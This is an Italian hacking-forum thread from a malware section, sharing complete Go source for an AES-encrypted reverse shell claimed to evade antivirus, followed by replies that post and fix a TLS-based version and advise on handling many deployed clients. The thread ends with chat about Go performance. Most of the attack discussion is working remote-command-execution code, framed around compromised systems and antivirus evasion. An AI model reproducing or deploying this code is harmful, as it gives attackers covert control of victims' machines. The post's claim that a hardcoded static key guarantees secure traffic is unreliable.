Discussione Malware Reverse Shell criptata e fud (per il momento)

monnezzza

Utente Silver
11 Marzo 2021
119
23
53
91
Ultima modifica:
Ciao a tutti amici di inforge,
Oggi voglio condividere con voi un progetto che ho recentemente sviluppato: una reverse Shell crittografata con AES in Go.
Le reverse Shell vengono spesso usate per creare una connessione remota da un sistema compromesso ad un attaccante.
Per iniziare, è importante notare che questo progetto è solo un esempio di base e non dovrebbe essere utilizzato in un ambiente di produzione senza le dovute misure di sicurezza.

Il progetto consiste in due parti principali: il client e il server.

Il client è responsabile della decrittografia dei comandi ricevuti dal server e dell'esecuzione di questi comandi sul sistema compromesso. Il server, d'altra parte, è responsabile dell'invio dei comandi al client e della ricezione delle risposte criptate.
Per quanto riguarda la crittografia, utilizziamo la libreria crypto/aes in Go. Generiamo una chiave statica sia sul lato del client che sul lato del server per utilizzarla per la crittografia e la decrittografia dei dati scambiati tra di loro.
Il codice del client inizia con la connessione al server su una determinata porta, in questo caso TCP sulla porta 8080. Quindi, in un ciclo continuo, il client riceve i comandi criptati dal server, li decripta utilizzando la chiave statica, li esegue utilizzando la funzione exec.Command e raccoglie la risposta.
La risposta viene quindi crittografata nuovamente con la chiave statica e inviata al server.

Il codice del server è simile, inizia col mettere in ascolto su una porta, aspettando che il client si connettà, quando il client si é connesso il server apre un prompt per inserire i comandi che poi cripta e invia al client.
Il server quindi riceve la risposta criptata dal client, la decripta con la chiave statica e la visualizza per l'user.

In sintesi, abbiamo creato una reverse Shell crittografata con AES in Go utilizzando una chiave statica generata dal programma sia sul lato del client che sul lato del server. Utilizzando questa tecnica, possiamo garantire che i dati scambiati tra il client e il server siano sicuri e protetti dalle intercettazioni.

Server:
Codice:
package main

import (
    "bufio"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "io"
    "net"
    "os"
)

var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

func encrypt(plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    ciphertext := make([]byte, aes.BlockSize+len(plaintext))
    iv := ciphertext[:aes.BlockSize]
    if _, err := io.ReadFull(rand.Reader, iv); err != nil {
        return nil, err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)

    return ciphertext, nil
}

func decrypt(ciphertext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    if len(ciphertext) < aes.BlockSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(ciphertext, ciphertext)

    return ciphertext, nil
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    for {
        // ask for input from the user
        reader := bufio.NewReader(os.Stdin)
        fmt.Print("Enter command: ")
        command, _ := reader.ReadString('\n')

        // encrypt the payload
        payload, err := encrypt([]byte(command))
        if err != nil {
            fmt.Println("Error encrypting payload:", err)
            return
        }

        // send the encrypted payload to the client
        _, err = conn.Write(payload)
        if err != nil {
            fmt.Println("Error sending payload:", err)
            return
        }

        // receive the encrypted response from the client
        response := make([]byte, 1024)
        n, err := conn.Read(response)
        if err != nil {
            fmt.Println("Error receiving response:", err)
            continue
        }

        // decrypt the response
        decrypted, err := decrypt(response[:n])
        if err != nil {
            fmt.Println("Error decrypting response:", err)
            continue
        }

        fmt.Println("Received response:", string(decrypted))
    }
}

func main() {
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        fmt.Println("Error listening:", err.Error())
        os.Exit(1)
    }

    fmt.Println("Listening on :8080...")
        for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Println("Error accepting: ", err.Error())
            os.Exit(1)
        }
        go handleConnection(conn)
    }
}

Client:
Codice:
package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "net"
    "os/exec"
    "strings"
)

var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

func encrypt(plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    ciphertext := make([]byte, aes.BlockSize+len(plaintext))
    iv := ciphertext[:aes.BlockSize]
    if _, err := rand.Read(iv); err != nil {
        return nil, err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)

    return ciphertext, nil
}

func decrypt(ciphertext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    if len(ciphertext) < aes.BlockSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(ciphertext, ciphertext)

    return ciphertext, nil
}

func main() {
    conn, err := net.Dial("tcp", "127.0.0.1:8080")
    if err != nil {
        fmt.Println("Error connecting:", err)
        return
    }
    defer conn.Close()

    for {
        // receive the encrypted command from the server
        command := make([]byte, 1024)
        n, err := conn.Read(command)
        if err != nil {
            fmt.Println("Error receiving command:", err)
            return
        }

        // decrypt the command
        decrypted, err := decrypt(command[:n])
        if err != nil {
            fmt.Println("Error decrypting command:", err)
            return
        }

        // execute the command
        command = []byte(strings.TrimRight(string(decrypted), "\n"))
        cmd := exec.Command("sh", "-c", string(command))
        var out bytes.Buffer
        cmd.Stdout = &out
        err = cmd.Run()
        if err != nil {
           
            fmt.Println("Error executing command:", err)
        }

        // encrypt the response
        response, err := encrypt(out.Bytes())
        if err != nil {
            fmt.Println("Error encrypting response:", err)
            continue
        }

        // send the encrypted response to the server
        _, err = conn.Write(response)
        if err != nil {
            fmt.Println("Error sending response:", err)
            continue
        }
    }
}

Faq:
  1. Ho riscritto la reverse Shell con are perché usando tls non riuscivo a trovare la soluzione all'errore.
  2. I file sono stati caricati su virus total, quindi skiddie a questo giro non siete stati fortunati.
Virus total x86: https://www.virustotal.com/gui/file/c6cf79435093fb1d1d339bfeda89d0da0a1ef03458cb75198db02a17bbfd5048

Buona programmazione 😘
 
Ultima modifica:
Ciao a tutti amici di inforge,
Oggi voglio condividere con voi un progetto che ho recentemente sviluppato: una reverse Shell crittografata con AES in Go.
Le reverse Shell vengono spesso usate per creare una connessione remota da un sistema compromesso ad un attaccante.
Per iniziare, è importante notare che questo progetto è solo un esempio di base e non dovrebbe essere utilizzato in un ambiente di produzione senza le dovute misure di sicurezza.

Il progetto consiste in due parti principali: il client e il server.

Il client è responsabile della decrittografia dei comandi ricevuti dal server e dell'esecuzione di questi comandi sul sistema compromesso. Il server, d'altra parte, è responsabile dell'invio dei comandi al client e della ricezione delle risposte criptate.
Per quanto riguarda la crittografia, utilizziamo la libreria crypto/aes in Go. Generiamo una chiave statica sia sul lato del client che sul lato del server per utilizzarla per la crittografia e la decrittografia dei dati scambiati tra di loro.
Il codice del client inizia con la connessione al server su una determinata porta, in questo caso TCP sulla porta 8080. Quindi, in un ciclo continuo, il client riceve i comandi criptati dal server, li decripta utilizzando la chiave statica, li esegue utilizzando la funzione exec.Command e raccoglie la risposta.
La risposta viene quindi crittografata nuovamente con la chiave statica e inviata al server.

Il codice del server è simile, inizia col mettere in ascolto su una porta, aspettando che il client si connettà, quando il client si é connesso il server apre un prompt per inserire i comandi che poi cripta e invia al client.
Il server quindi riceve la risposta criptata dal client, la decripta con la chiave statica e la visualizza per l'user.

In sintesi, abbiamo creato una reverse Shell crittografata con AES in Go utilizzando una chiave statica generata dal programma sia sul lato del client che sul lato del server. Utilizzando questa tecnica, possiamo garantire che i dati scambiati tra il client e il server siano sicuri e protetti dalle intercettazioni.

Server:
Codice:
package main

import (
    "bufio"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "io"
    "net"
    "os"
)

var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

func encrypt(plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    ciphertext := make([]byte, aes.BlockSize+len(plaintext))
    iv := ciphertext[:aes.BlockSize]
    if _, err := io.ReadFull(rand.Reader, iv); err != nil {
        return nil, err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)

    return ciphertext, nil
}

func decrypt(ciphertext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    if len(ciphertext) < aes.BlockSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(ciphertext, ciphertext)

    return ciphertext, nil
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    for {
        // ask for input from the user
        reader := bufio.NewReader(os.Stdin)
        fmt.Print("Enter command: ")
        command, _ := reader.ReadString('\n')

        // encrypt the payload
        payload, err := encrypt([]byte(command))
        if err != nil {
            fmt.Println("Error encrypting payload:", err)
            return
        }

        // send the encrypted payload to the client
        _, err = conn.Write(payload)
        if err != nil {
            fmt.Println("Error sending payload:", err)
            return
        }

        // receive the encrypted response from the client
        response := make([]byte, 1024)
        n, err := conn.Read(response)
        if err != nil {
            fmt.Println("Error receiving response:", err)
            continue
        }

        // decrypt the response
        decrypted, err := decrypt(response[:n])
        if err != nil {
            fmt.Println("Error decrypting response:", err)
            continue
        }

        fmt.Println("Received response:", string(decrypted))
    }
}

func main() {
    listener, err := net.Listen("tcp", ":8080")
    if err != nil {
        fmt.Println("Error listening:", err.Error())
        os.Exit(1)
    }

    fmt.Println("Listening on :8080...")
        for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Println("Error accepting: ", err.Error())
            os.Exit(1)
        }
        go handleConnection(conn)
    }
}

Client:
Codice:
package main

import (
    "bytes"
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "fmt"
    "net"
    "os/exec"
    "strings"
)

var key = []byte("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

func encrypt(plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    ciphertext := make([]byte, aes.BlockSize+len(plaintext))
    iv := ciphertext[:aes.BlockSize]
    if _, err := rand.Read(iv); err != nil {
        return nil, err
    }

    stream := cipher.NewCFBEncrypter(block, iv)
    stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)

    return ciphertext, nil
}

func decrypt(ciphertext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    if len(ciphertext) < aes.BlockSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    iv := ciphertext[:aes.BlockSize]
    ciphertext = ciphertext[aes.BlockSize:]

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(ciphertext, ciphertext)

    return ciphertext, nil
}

func main() {
    conn, err := net.Dial("tcp", "127.0.0.1:8080")
    if err != nil {
        fmt.Println("Error connecting:", err)
        return
    }
    defer conn.Close()

    for {
        // receive the encrypted command from the server
        command := make([]byte, 1024)
        n, err := conn.Read(command)
        if err != nil {
            fmt.Println("Error receiving command:", err)
            return
        }

        // decrypt the command
        decrypted, err := decrypt(command[:n])
        if err != nil {
            fmt.Println("Error decrypting command:", err)
            return
        }

        // execute the command
        command = []byte(strings.TrimRight(string(decrypted), "\n"))
        cmd := exec.Command("sh", "-c", string(command))
        var out bytes.Buffer
        cmd.Stdout = &out
        err = cmd.Run()
        if err != nil {
         
            fmt.Println("Error executing command:", err)
        }

        // encrypt the response
        response, err := encrypt(out.Bytes())
        if err != nil {
            fmt.Println("Error encrypting response:", err)
            continue
        }

        // send the encrypted response to the server
        _, err = conn.Write(response)
        if err != nil {
            fmt.Println("Error sending response:", err)
            continue
        }
    }
}

Faq:
  1. Ho riscritto la reverse Shell con are perché usando tls non riuscivo a trovare la soluzione all'errore.
  2. I file sono stati caricati su virus total, quindi skiddie a questo giro non siete stati fortunati.
Virus total x86: https://www.virustotal.com/gui/file/c6cf79435093fb1d1d339bfeda89d0da0a1ef03458cb75198db02a17bbfd5048

Buona programmazione 😘
Bravo @emulator41! Sarebbe interessante vedere una versione anche con crittografia asimmetrica, anche se le cose si complicano un po' di più in quel caso. Se riesci a risolvere l'errore che riscontri con TLS, facci sapere. 😉
 
AGGIORNAMENTO: TLS continua a non funzionare neanche chatGPT me lo fixa
Postalo qui, volendo c'è anche la sezione altri linguaggi di programmazione dove probabilmente hai un po' più di visibilità quando incorri in questo tipo di problemi. Nell'area development non c'è una sottosezione dedicata al Go, ma se riusciamo ad accumulare un po' di discussioni a riguardo possiamo chiedere di aprircene una.
 
Ultima modifica:
Okok adesso vedo se riesco a trovare i vecchi sorgenti
Messaggio unito automaticamente:

@St3ve ecco a te e grazie ancora:
Server
Codice:
package main

import (
        "bufio"
        "crypto/tls"
        "fmt"
        "net"
)

func main() {
        cert, _ := tls.LoadX509KeyPair("cert.pem", "key.pem")
        config := &tls.Config{Certificates: []tls.Certificate{cert}}
        listener, _ := tls.Listen("tcp", ":443", config)

        for {
                conn, _ := listener.Accept()
                go handleConnection(conn)
        }
}

func handleConnection(conn net.Conn) {
        defer conn.Close()

        for {
                fmt.Print("Enter command: ")
                command, _ := bufio.NewReader(os.Stdin).ReadString('\n')
                fmt.Fprintf(conn, command)
                output, _ := bufio.NewReader(conn).ReadString('\n')
                fmt.Printf("Output: %s", output)
        }
}
Client:
Codice:
package main

import (
        "bufio"
        "crypto/tls"
        "fmt"
        "os"
)

func main() {
        cert, _ := tls.LoadX509KeyPair("cert.pem", "key.pem")
        config := &tls.Config{Certificates: []tls.Certificate{cert}}
        conn, _ := tls.Dial("tcp", "server_ip:443", config)
        defer conn.Close()

        for {
                output, _ := bufio.NewReader(conn).ReadString('\n')
                fmt.Printf("Command: %s", output)
                command, _ := bufio.NewReader(os.Stdin).ReadString('\n')
                fmt.Fprintf(conn, command)
        }
}
 
Ultima modifica:
Sono rimasto un po' sul tuo stile e non ho aggiunto niente, ma tieni conto che se distribuisci tanti client in teoria dovresti gestire il server in modo da poter dire "invia questo comando a questo client".

Server.go
Codice:
// openssl req -x509 -nodes -newkey ec -pkeyopt ec_paramgen_curve:secp384r1 -keyout server.key -out server.crt

package main

import (
    "bufio"
    "crypto/tls"
    "fmt"
    "net"
    "os"
)

func main() {
    cert, _ := tls.LoadX509KeyPair("server.crt", "server.key")
    config := &tls.Config{Certificates: []tls.Certificate{cert}}

    listener, err := tls.Listen("tcp", ":1337", config)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer listener.Close()

    for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Println(err)
            continue
        }
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    r := bufio.NewReader(conn)
    stdin := bufio.NewReader(os.Stdin)

    for {
        fmt.Print("Enter command: ")
        command, _ := stdin.ReadString('\n')
        fmt.Fprintf(conn, command)
        output, _ := r.ReadString(0)
        fmt.Printf("%s", output)
    }
}

Client.go
Codice:
package main

import (
    "bufio"
    "crypto/tls"
    "fmt"
    "os/exec"
    "strings"
)

func main() {
    config := &tls.Config{InsecureSkipVerify: true}
    conn, _ := tls.Dial("tcp", "127.0.0.1:1337", config)
    defer conn.Close()

    r := bufio.NewReader(conn)

    for {
        command, _ := r.ReadString('\n')
        args := strings.Fields(command)
        output, _ := exec.Command(args[0], args[1:]...).CombinedOutput()
        fmt.Fprintf(conn, string(append(output, 0)))
    }
}
 
  • Mi piace
Reazioni: 0xbro
Mi fa piacere vedere che ci sono già due utenti sul forum (forse più?) che sanno programmare in Golang. Sembra un linguaggio molto interessante e abbastanza nuovo rispetto ad altri linguaggi più datati, lo vorrei studiare un po' nel tempo libero. Qualcuno di voi sa se le prestazioni sono simili a quelle del C/C++? Ho visto che ha pure il garbage collector, però ha molte meno funzionalità rispetto a un linguaggio come Java: tipo non ha alcun meccanismo di ereditarietà e gestione delle eccezioni. Suppongo sia molto veloce come linguaggio.
 
Qualcuno di voi sa se le prestazioni sono simili a quelle del C/C++?
A runtime? Puoi avvicinarti, ma è decisamente più complicato che in C.
Come hai notato anche tu, ha un GC, che chiaramente impatta le performance. Però puoi fare in modo di usarlo il meno possibile, usando tecniche come l'escape analysis per guardare dove le variabili passano dallo stack all'heap.

Poi dipende anche dal tuo codice (usi molti channel? Molte mutex?).

Se le performance sono di assoluta priorità (pensa high frequency trading), allora vuoi usare un linguaggio dove puoi gestire la memoria manualmente (e magari la allochi allo startup, invece che a runtime).

Per tutto il resto, Go va benissimo, e include ottimi tool per analizzare eventuali bottleneck (da affianchare a tool più classici, tipo pperf).

Nel 99.9% dei casi, non è il linguaggio il problema di performance maggiore.
 
  • Mi piace
Reazioni: --- Ra --- e 0xbro
Sono rimasto un po' sul tuo stile e non ho aggiunto niente, ma tieni conto che se distribuisci tanti client in teoria dovresti gestire il server in modo da poter dire "invia questo comando a questo client".

Server.go
Codice:
// openssl req -x509 -nodes -newkey ec -pkeyopt ec_paramgen_curve:secp384r1 -keyout server.key -out server.crt

package main

import (
    "bufio"
    "crypto/tls"
    "fmt"
    "net"
    "os"
)

func main() {
    cert, _ := tls.LoadX509KeyPair("server.crt", "server.key")
    config := &tls.Config{Certificates: []tls.Certificate{cert}}

    listener, err := tls.Listen("tcp", ":1337", config)
    if err != nil {
        fmt.Println(err)
        return
    }
    defer listener.Close()

    for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Println(err)
            continue
        }
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    defer conn.Close()

    r := bufio.NewReader(conn)
    stdin := bufio.NewReader(os.Stdin)

    for {
        fmt.Print("Enter command: ")
        command, _ := stdin.ReadString('\n')
        fmt.Fprintf(conn, command)
        output, _ := r.ReadString(0)
        fmt.Printf("%s", output)
    }
}

Client.go
Codice:
package main

import (
    "bufio"
    "crypto/tls"
    "fmt"
    "os/exec"
    "strings"
)

func main() {
    config := &tls.Config{InsecureSkipVerify: true}
    conn, _ := tls.Dial("tcp", "127.0.0.1:1337", config)
    defer conn.Close()

    r := bufio.NewReader(conn)

    for {
        command, _ := r.ReadString('\n')
        args := strings.Fields(command)
        output, _ := exec.Command(args[0], args[1:]...).CombinedOutput()
        fmt.Fprintf(conn, string(append(output, 0)))
    }
}
Grazie mille, era solo un poc comunque @St3ve sei un grande, sei riuscito a fixare un problema molto grande per me. Grazie ancora
 
Mi fa piacere vedere che ci sono già due utenti sul forum (forse più?) che sanno programmare in Golang. Sembra un linguaggio molto interessante e abbastanza nuovo rispetto ad altri linguaggi più datati, lo vorrei studiare un po' nel tempo libero. Qualcuno di voi sa se le prestazioni sono simili a quelle del C/C++? Ho visto che ha pure il garbage collector, però ha molte meno funzionalità rispetto a un linguaggio come Java: tipo non ha alcun meccanismo di ereditarietà e gestione delle eccezioni. Suppongo sia molto veloce come linguaggio.
Dire che so programmare in Go è una parola grossa. Tempo fa avevo voglia di impararlo e avevo iniziato a fare qualcosa, ma poi mi sono un po' perso via e non ho più continuato. Comunque sono sicuro che ci sono più di due persone in questo forum che lo conoscono, però c'è il solito problema dei forum: se non vedi discussioni a riguardo sei anche poco incentivato ad aprirne. Lo stesso emulator4 ha preferito chiedere a chatgpt.

Le prestazioni sono simili a quelle di java, quindi è veloce. Quelli che hanno creato Go sono programmatori vecchia scuola e hanno seguito l'approccio less is more: niente paradigma object-oriented, niente paradigma funzionale, niente eccezioni e niente metaprogrammazione. Non volevano nemmeno i generics, ma li hanno dovuti introdurre a gran richiesta dai programmatori. È procedurale come il C, ma ha una libreria standard eccellente e ha una serie di tools che ti permettono di creare programmi abbastanza complessi con poco sforzo. A differenza di C e C++, è un linguaggio facile da usare correttamente. Il codice scritto da un principiante è molto simile al codice scritto da un esperto. In python si dice "There should be one, and preferably only one, obvious way to do it", ma è una frase più adatta al Go che al python. Dal punto di vista tecnico, il suo punto di forza è la concorrenza (goroutines & channels), quindi è molto usato per creare web services.
 
  • Mi piace
Reazioni: --- Ra ---
"There should be one, and preferably only one, obvious way to do it"
Alla fine questo è un concetto che lascia un po' il tempo che trova in tutti i linguaggi di programmazione. I linguaggi, infatti, si basano su algoritmi ed è inevitabile che al crescere della complessità di un problema da risolvere corrisponda una crescita del numero di strade per arrivare alla stessa soluzione. Poi alcune si rivelano essere più efficienti ed altre meno, però arrivano ugualmente al risultato. Ovviamente, è sempre preferibile trovare il modo più efficiente e meno dispendioso per risolvere un problema, ma spesso non è nemmeno quello più banale.